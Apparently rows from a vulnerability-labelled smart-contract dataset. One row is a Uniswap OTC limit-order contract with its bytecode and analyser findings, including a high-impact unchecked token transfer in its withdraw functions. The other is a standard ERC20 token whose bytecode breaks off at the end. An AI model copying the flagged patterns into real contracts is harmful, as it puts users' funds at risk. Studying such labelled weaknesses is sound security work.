function totalSupply() external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
external
returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
function allowance(address _owner, address _spender)
external
view
returns (uint256);
// Pricing functions
function getEthToTokenInputPrice(uint256 eth_sold)
external
view
returns (uint256);
function getEthToTokenOutputPrice(uint256 tokens_bought)
external
view
returns (uint256);
function getTokenToEthInputPrice(uint256 tokens_sold)
external
view
returns (uint256);
function getTokenToEthOutputPrice(uint256 eth_bought)
external
view
returns (uint256);
// Add Liquidity
function setup(address token_addr) external;
function addLiquidity(
uint256 min_liquidity,
uint256 max_tokens,
uint256 deadline
) external payable returns (uint256);
function removeLiquidity(uint256 amount, uint256 min_eth, uint256 min_tokens, uint256 deadline)
external
returns (uint256);
//Eth/Token Swap
//Sell all ETH
function ethToTokenSwapInput(uint256 min_tokens, uint256 deadline)
external
payable
returns (uint256);
function ethToTokenTransferInput(
uint256 min_tokens,
uint256 deadline,
address recipient
) external payable returns (uint256);
//Sell some ETH and get refund
function ethToTokenSwapOutput(uint256 tokens_bought, uint256 deadline)
external
payable
returns (uint256);
function ethToTokenTransferOutput(
uint256 tokens_bought,
uint256 deadline,
address recipient
) external payable returns (uint256);
//Token/Eth Swap
//Sell all tokens
function tokenToEthSwapInput(
uint256 tokens_sold,
uint256 min_eth,
uint256 deadline
) external returns (uint256);
function tokenToEthTransferInput(
uint256 tokens_sold,
uint256 min_eth,
uint256 deadline,
address recipient
) external returns (uint256);
//Sell some tokens and get refund
function tokenToEthSwapOutput(
uint256 eth_bought,
uint256 max_tokens,
uint256 deadline
) external returns (uint256);
function tokenToEthTransferOutput(
uint256 eth_bought,
uint256 max_tokens,
uint256 deadline,
address recipient
) external returns (uint256);
//Token/Token Swap
function tokenToTokenSwapInput(
uint256 tokens_sold,
uint256 min_tokens_bought,
uint256 min_eth_bought,
uint256 deadline,
address token_addr
) external returns (uint256);
function tokenToTokenTransferInput(
uint256 tokens_sold,
uint256 min_tokens_bought,
uint256 min_eth_bought,
uint256 deadline,
address recipient,
address token_addr
) external returns (uint256);
function tokenToTokenSwapOutput(
uint256 tokens_bought,
uint256 max_tokens_sold,
uint256 max_eth_sold,
uint256 deadline,
address token_addr
) external returns (uint256);
function tokenToTokenTransferOutput(
uint256 tokens_bought,
uint256 max_tokens_sold,
uint256 max_eth_sold,
uint256 deadline,
address recipient,
address token_addr
) external returns (uint256);
//Token/Exchange Swap
function tokenToExchangeSwapInput(
uint256 tokens_sold,
uint256 min_tokens_bought,
uint256 min_eth_bought,
uint256 deadline,
address exchange_addr
) external returns (uint256);
function tokenToExchangeTransferInput(
uint256 tokens_sold,
uint256 min_tokens_bought,
uint256 min_eth_bought,
uint256 deadline,
address recipient,
address exchange_addr
) external returns (uint256);
function tokenToExchangeSwapOutput(
uint256 tokens_bought,
uint256 max_tokens_sold,
uint256 max_eth_sold,
uint256 deadline,
address exchange_addr
) external returns (uint256);
function tokenToExchangeTransferOutput(
uint256 tokens_bought,
uint256 max_tokens_sold,
uint256 max_eth_sold,
uint256 deadline,
address recipient,
address exchange_addr
) external returns (uint256);
}
contract UniswapOTC {
address public owner;
address public exchangeAddress;
address public tokenAddress;
uint256 public totalClients;
address[] public clients;
mapping (address => bool) public clientExists;
mapping (address => uint256) public clientEthBalances; //Client ETH balance
mapping (address => uint256) public clientMinTokens; //Client Limit Order
mapping (address => uint256) public clientTokenBalances; //Client Token balance
mapping (address => uint256) public clientTokenFees; //Total OTC Fees
mapping (address => uint256) public purchaseTimestamp; //Withdrawal timestamp
uint256 constant ONE_DAY_SECONDS = 86400;
uint256 constant FIVE_MINUTE_SECONDS = 300;
mapping(address => bool) public triggerAddresses; //Bot Trigger Addresses
IERC20 token;
IUniswapExchange exchange;
//Min volume values
uint256 public minEthLimit; //Min Volume
uint256 public maxTokenPerEth; //Min Price
constructor(address _exchangeAddress, uint256 _minEthLimit, uint256 _maxTokenPerEth) public {
exchange = IUniswapExchange(_exchangeAddress);
exchangeAddress = _exchangeAddress;
tokenAddress = exchange.tokenAddress();
token = IERC20(tokenAddress);
owner = msg.sender;
minEthLimit = _minEthLimit;
maxTokenPerEth = _maxTokenPerEth;
totalClients = 0;
}
/**
* @dev OTC Provider. Gives right to fee withdrawal.
*/
modifier onlyOwner() {
require(msg.sender == owner, "Unauthorized");
_;
}
/**
* @dev Authorized Purchase Trigger addresses for mempool bot.
*/
modifier onlyTrigger() {
require(msg.sender == owner || triggerAddresses[msg.sender], "Unauthorized");
_;
}
/**
* @dev Trigger Uniswap contract, drains client's ETH balance.
* Computes fee as spread between execution price and limit price.
*/
function executeLimitOrder(address _client, uint256 deadline)
public
onlyTrigger
returns (uint256, uint256)
{
//Avoids Uniswap Assert Failure when no liquidity (gas saving)
require(token.balanceOf(exchangeAddress) > 0, "No liquidity on Uniswap!"); //27,055 Gas
uint256 ethBalance = clientEthBalances[_client];
uint256 tokensBought = exchange.getEthToTokenInputPrice(ethBalance);
uint256 minTokens = clientMinTokens[_client];
require(tokensBought >= minTokens, "Purchase amount below min tokens!"); //27,055 Gas
uint256 spreadFee = tokensBought - minTokens;
//Tokens bought, set balance 0
clientEthBalances[_client] = 0; //Reset state
clientMinTokens[_client] = 0; //Reset state
clientTokenBalances[_client] += minTokens; //Add to balance
clientTokenFees[_client] += spreadFee; //Add to balance
purchaseTimestamp[_client] = block.timestamp + ONE_DAY_SECONDS;
//Call Uniswap contract
exchange.ethToTokenSwapInput.value(ethBalance)(
tokensBought,
deadline
);
return (minTokens, spreadFee);
}
/**
* @dev Add Trigger address.
*/
function setTriggerAddress(address _address, bool _authorized)
public
onlyOwner
{
triggerAddresses[_address] = _authorized;
}
/**
* @dev Get max limit price.
*/
function getMaxTokens(uint256 _etherAmount)
public
view
returns (uint256)
{
return _etherAmount * maxTokenPerEth;
}
/**
* @dev Fund contract and set limit price (in the form of min purchased tokens).
* Excess value is refunded to sender in the case of a re-balancing.
*/
function setLimitOrder(uint256 _tokenAmount, uint256 _etherAmount)
public
payable
{
require(_etherAmount >= minEthLimit, "Insufficient ETH volume");
require(_tokenAmount <= maxTokenPerEth * _etherAmount, "Excessive token per ETH");
require(_etherAmount == clientEthBalances[msg.sender] + msg.value, "Balance must equal purchase eth amount.");
if (!clientExists[msg.sender]) {
clientExists[msg.sender] = true;
clients.push(msg.sender);
totalClients += 1;
}
//Increment client balance
clientEthBalances[msg.sender] += msg.value;
clientMinTokens[msg.sender] = _tokenAmount;
}
/**
* @dev Return if purchase would be autherized at current prices
*/
function canPurchase(address _client)
public
view
returns (bool)
{
//Avoids Uniswap Assert Failure when no liquidity (gas saving)
if (token.balanceOf(exchangeAddress) == 0) {
return false;
}
uint256 ethBalance = clientEthBalances[_client];
if (ethBalance == 0) {
return false;
}
uint256 tokensBought = exchange.getEthToTokenInputPrice(ethBalance);
uint256 minTokens = clientMinTokens[_client];
//Only minimum amount of tokens
return tokensBought >= minTokens;
}
/**
* @dev Withdraw OTC provider fee tokens.
*/
function withdrawFeeTokens(address _client) public onlyOwner {
require(clientTokenFees[_client] > 0, "No fees!");
require(block.timestamp > purchaseTimestamp[_client], "Wait for client withdrawal.");
uint256 sendFees = clientTokenFees[_client];
clientTokenFees[_client] = 0;
token.transfer(msg.sender, sendFees);
}
/**
* @dev Withdraw OTC client purchased tokens.
*/
function withdrawClientTokens() public {
require(clientTokenBalances[msg.sender] > 0, "No tokens!");
uint256 sendTokens = clientTokenBalances[msg.sender];
clientTokenBalances[msg.sender] = 0;
purchaseTimestamp[msg.sender] = block.timestamp + FIVE_MINUTE_SECONDS; //Unlock in 5minutes
token.transfer(msg.sender, sendTokens);
}
/**
* @dev Withdraw OTC client ether.
*/
function withdrawEther() public {
require(clientEthBalances[msg.sender] > 0, "No ETH balance!");
uint256 sendEth = clientEthBalances[msg.sender];
clientEthBalances[msg.sender] = 0;
payable(msg.sender).transfer(sendEth);
}
/**
* @dev Get eth balance of contract.
*/
function contractEthBalance() public view returns (uint256) {
return address(this).balance;
}
/**
* @dev Get token balance of contract
*/
function contractTokenBalance() public view returns (uint256) {
return token.balanceOf(address(this));
}
}
|
0x60806040526004361061014b5760003560e01c80638da5cb5b116100b6578063d37ee6c01161006f578063d37ee6c01461068a578063e876f4af146106f3578063eab2e10114610758578063f288dc10146107bd578063f88af21d146107e8578063fbe158af146108635761014b565b80638da5cb5b1461048c5780639cd01605146104e35780639d76ea581461053a5780639e9aed6214610591578063c9b0da6a146105bc578063cdf864e8146106215761014b565b80635c02b71e116101085780635c02b71e146103225780635d58ce36146103715780637362377b1461039c57806376755118146103b3578063798053d11461041857806381cf28f51461042f5761014b565b806302dda028146101505780630bd16007146101c65780630e08b0e31461022b57806311aa4c81146102565780633e3b429a1461028157806344c07a9f146102ea575b600080fd5b34801561015c57600080fd5b506101a96004803603604081101561017357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108b4565b604051808381526020018281526020019250505060405180910390f35b3480156101d257600080fd5b50610215600480360360208110156101e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f10565b6040518082815260200191505060405180910390f35b34801561023757600080fd5b50610240610f28565b6040518082815260200191505060405180910390f35b34801561026257600080fd5b5061026b610f2e565b6040518082815260200191505060405180910390f35b34801561028d57600080fd5b506102d0600480360360208110156102a457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f34565b604051808215151515815260200191505060405180910390f35b6103206004803603604081101561030057600080fd5b81019080803590602001909291908035906020019092919050505061119e565b005b34801561032e57600080fd5b5061035b6004803603602081101561034557600080fd5b81019080803590602001909291905050506114dc565b6040518082815260200191505060405180910390f35b34801561037d57600080fd5b506103866114ea565b6040518082815260200191505060405180910390f35b3480156103a857600080fd5b506103b16114f2565b005b3480156103bf57600080fd5b50610402600480360360208110156103d657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061167a565b6040518082815260200191505060405180910390f35b34801561042457600080fd5b5061042d611692565b005b34801561043b57600080fd5b5061048a6004803603604081101561045257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611900565b005b34801561049857600080fd5b506104a1611a1d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104ef57600080fd5b506104f8611a42565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561054657600080fd5b5061054f611a68565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561059d57600080fd5b506105a6611a8e565b6040518082815260200191505060405180910390f35b3480156105c857600080fd5b5061060b600480360360208110156105df57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b6f565b6040518082815260200191505060405180910390f35b34801561062d57600080fd5b506106706004803603602081101561064457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b87565b604051808215151515815260200191505060405180910390f35b34801561069657600080fd5b506106d9600480360360208110156106ad57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ba7565b604051808215151515815260200191505060405180910390f35b3480156106ff57600080fd5b506107426004803603602081101561071657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bc7565b6040518082815260200191505060405180910390f35b34801561076457600080fd5b506107a76004803603602081101561077b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bdf565b6040518082815260200191505060405180910390f35b3480156107c957600080fd5b506107d2611bf7565b6040518082815260200191505060405180910390f35b3480156107f457600080fd5b506108216004803603602081101561080b57600080fd5b8101908080359060200190929190505050611bfd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561086f57600080fd5b506108b26004803603602081101561088657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c39565b005b6000806000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061095b5750600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6109cd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f556e617574686f72697a6564000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610a9057600080fd5b505afa158015610aa4573d6000803e3d6000fd5b505050506040513d6020811015610aba57600080fd5b810190808051906020019092919050505011610b3e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4e6f206c6971756964697479206f6e20556e697377617021000000000000000081525060200191505060405180910390fd5b6000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cd7724c3836040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b158015610bf757600080fd5b505afa158015610c0b573d6000803e3d6000fd5b505050506040513d6020811015610c2157600080fd5b810190808051906020019092919050505090506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080821015610cd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611ffe6021913960400191505060405180910390fd5b600081830390506000600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600860008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555080600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550620151804201600a60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f39b5b9b85858a6040518463ffffffff1660e01b815260040180838152602001828152602001925050506020604051808303818588803b158015610ec257600080fd5b505af1158015610ed6573d6000803e3d6000fd5b50505050506040513d6020811015610eed57600080fd5b810190808051906020019092919050505050818195509550505050509250929050565b60076020528060005260406000206000915090505481565b60035481565b600f5481565b600080600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610ff857600080fd5b505afa15801561100c573d6000803e3d6000fd5b505050506040513d602081101561102257600080fd5b810190808051906020019092919050505014156110425760009050611199565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811415611099576000915050611199565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663cd7724c3836040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b810190808051906020019092919050505090506000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508082101593505050505b919050565b600e54811015611216576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f496e73756666696369656e742045544820766f6c756d6500000000000000000081525060200191505060405180910390fd5b80600f5402821115611290576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f45786365737369766520746f6b656e207065722045544800000000000000000081525060200191505060405180910390fd5b34600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054018114611329576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526027815260200180611fd76027913960400191505060405180910390fd5b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611447576001600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506004339080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060016003600082825401925050819055505b34600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600f5482029050919050565b600047905090565b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054116115a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f4e6f204554482062616c616e636521000000000000000000000000000000000081525060200191505060405180910390fd5b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611676573d6000803e3d6000fd5b5050565b600a6020528060005260406000206000915090505481565b6000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411611747576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f4e6f20746f6b656e73210000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061012c4201600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156118c157600080fd5b505af11580156118d5573d6000803e3d6000fd5b505050506040513d60208110156118eb57600080fd5b81019080805190602001909291905050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146119c2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f556e617574686f72697a6564000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015611b2f57600080fd5b505afa158015611b43573d6000803e3d6000fd5b505050506040513d6020811015611b5957600080fd5b8101908080519060200190929190505050905090565b60086020528060005260406000206000915090505481565b60056020528060005260406000206000915054906101000a900460ff1681565b600b6020528060005260406000206000915054906101000a900460ff1681565b60096020528060005260406000206000915090505481565b60066020528060005260406000206000915090505481565b600e5481565b60048181548110611c0a57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611cfb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f556e617574686f72697a6564000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411611db0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f4e6f20666565732100000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544211611e64576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f5761697420666f7220636c69656e74207769746864726177616c2e000000000081525060200191505060405180910390fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611f9657600080fd5b505af1158015611faa573d6000803e3d6000fd5b505050506040513d6020811015611fc057600080fd5b810190808051906020019092919050505050505056fe42616c616e6365206d75737420657175616c2070757263686173652065746820616d6f756e742e507572636861736520616d6f756e742062656c6f77206d696e20746f6b656e7321a26469706673582212202bce01bc4c059409785abff8e6ef009fe9068cb4a6051c2776ab72b16fa551d564736f6c63430006010033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,156 |
0x626469a344a859d078b68462c28d1a706b1d3aac
|
pragma solidity ^0.4.21;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title SimpleSafeToken
* @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator.
* Note they can later distribute these tokens as they wish using `transfer` and other
* `StandardToken` functions.
*/
contract SimpleSafeToken is StandardToken {
string public name;
string public symbol;
uint8 public decimals;
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
function SimpleSafeToken(uint256 initialSupply, uint8 decimalUnits, string tokenName, string tokenSymbol) public {
name = tokenName;
symbol = tokenSymbol;
decimals = decimalUnits;
totalSupply_ = initialSupply * (10 ** uint256(decimals));
balances[msg.sender] = totalSupply_;
emit Transfer(0x0, msg.sender, totalSupply_);
}
}
|
0x6060604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100b4578063095ea7b31461014257806318160ddd1461019c57806323b872dd146101c5578063313ce5671461023e578063661884631461026d57806370a08231146102c757806395d89b4114610314578063a9059cbb146103a2578063d73dd623146103fc578063dd62ed3e14610456575b600080fd5b34156100bf57600080fd5b6100c76104c2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101075780820151818401526020810190506100ec565b50505050905090810190601f1680156101345780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561014d57600080fd5b610182600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610560565b604051808215151515815260200191505060405180910390f35b34156101a757600080fd5b6101af610652565b6040518082815260200191505060405180910390f35b34156101d057600080fd5b610224600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061065c565b604051808215151515815260200191505060405180910390f35b341561024957600080fd5b610251610a16565b6040518